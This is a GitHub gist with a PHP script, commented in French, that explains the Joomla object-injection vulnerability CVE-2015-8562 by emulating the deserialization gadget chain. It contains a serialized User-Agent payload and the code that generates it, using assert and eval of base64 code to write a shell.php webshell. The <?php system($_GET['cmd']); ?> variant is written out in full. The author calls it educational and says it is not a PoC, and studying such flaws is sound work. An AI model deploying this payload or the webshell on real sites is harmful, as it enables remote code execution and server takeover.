Skip to content

Instantly share code, notes, and snippets.

@all3kcis
Last active April 21, 2016 15:01
Show Gist options
  • Save all3kcis/a99401ad5e36c44997081d5097442544 to your computer and use it in GitHub Desktop.
Save all3kcis/a99401ad5e36c44997081d5097442544 to your computer and use it in GitHub Desktop.
Comprendre CVE-2015-8562 (Joomla)
<?php
// ISN't a POC
// Ceci à pour but de comprendre la faille CVE-2015-8562
// et ne permet pas en tant que telle d'être utilisé.
// Tout n'est pas expliquer ici mais cela permet déjà de comprendre le mecanisme.
//
// Source ayant servi de base :
// https://www.xmco.fr/actu-secu/XMCO-ActuSecu-43-Anonymat-ApacheCommons.pdf#43
// Première étape : connexion du client
// User Agent
// Valeur provenant du client, on ne doit pas lui faire confiance sans verification
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(true){ // Emulation d'un user agent modifie, voir plus bas comment obtenir ce code
$user_agent = <<<EOT
O:6:"Driver":3:{s:4:"name";s:33:"Comprendre CVE-2015-8562 (Joomla)";s:14:"functions_name";a:2:{i:0;O:6:"Simple":3:{s:4:"name";s:33:"Comprendre CVE-2015-8562 (Joomla)";s:13:"function_name";s:6:"assert";s:15:"function_params";s:172:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZShfX0ZJTEVfXykuJy9zaGVsbC5waHAnLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1pXTm9ieUFvSkY5SFJWUmJKMk50WkNkZEtUc2dQejQ9JykpOw=='));";}i:1;s:4:"init";}s:16:"functions_params";a:1:{i:0;a:0:{}}}
EOT;
}
// Stockage en base de donnée
$_SESSION['user_agent'] = $user_agent;
// En realitée sur Joomla les données sont serialize en stocker en base de donnée.
// Attention, la fonction serialize() est pratique mais peut être dangereuse.
// Deuxième étape : (Emulation du code des classes Joomla)
class Simple{
public $name = 'Comprendre CVE-2015-8562 (Joomla)';
public $function_name = 'md5';
public $function_params = ''; // Equivalent feed_url
public function init(){
echo 'Simple->init() Done'.PHP_EOL;
call_user_func($this->function_name, $this->function_params);
}
}
class Driver{
public $name = 'Comprendre CVE-2015-8562 (Joomla)';
public $functions_name = array();
public $functions_params = array();
function __destruct(){ // __destruct est une method magique appele automatiquement par php
echo 'Driver->__destruct()'.PHP_EOL;
if(!empty($this->functions_name) AND is_array($this->functions_name)){
call_user_func_array($this->functions_name, $this->functions_params);
}
}
}
// Recuperation des infos du l'utilisateur depuis la base de donnée
// La faille est déclenché ici
// La valeur est deserializé, les deux classes sont instancié mais pour le moment rien n'est executé
// La faille tire parti de la classe Driver et du code present dans sa method __destruct()
// A la fin du déroulement du script la method __destruct() sera appelé et déclenche l'action désiré
$user_agent = unserialize($_SESSION['user_agent']);
exit;
// A titre informatif
// Code qui a servi à generer le payload
// Generer les classes avec les parametres necessaires
$simple = new Simple();
$simple->function_name = 'assert';
$simple->function_params = 'eval(base64_decode(\'ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZShfX0ZJTEVfXykuJy9zaGVsbC5waHAnLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1pXTm9ieUFvSkY5SFJWUmJKMk50WkNkZEtUc2dQejQ9JykpOw==\'));';
$driver = new Driver();
$driver->functions_name = array($simple,'init');
$driver->functions_params = array(array());
$user_agent_a_utilsier = serialize($driver);
// Code qui sera executer pour creer le webshell
$s = '<?php system($_GET[\'cmd\']); ?>'; // PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
$s = '<?php echo ($_GET[\'cmd\']); ?>'; // PD9waHAgZWNobyAoJF9HRVRbJ2NtZCddKTsgPz4=
$s = base64_encode($s);
$f = 'file_put_contents(dirname(__FILE__).\'/shell.php\', base64_decode(\''.$s.'\'));';
$payload = base64_encode($f);
// avec system() : ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZShfX0ZJTEVfXykuJy9zaGVsbC5waHAnLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ2MzbHpkR1Z0S0NSZlIwVlVXeWRqYldRblhTazdJRDgrJykpOw==
// avec echo : ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZShfX0ZJTEVfXykuJy9zaGVsbC5waHAnLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1pXTm9ieUFvSkY5SFJWUmJKMk50WkNkZEtUc2dQejQ9JykpOw==
// '\xf0\xfd\xfd\xfd' // Caractère sur 4 octets
// Utiliser pour ignorer le reste de la chaine au moment du stockage en base de donnée, non utilisé pour cet exemple
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment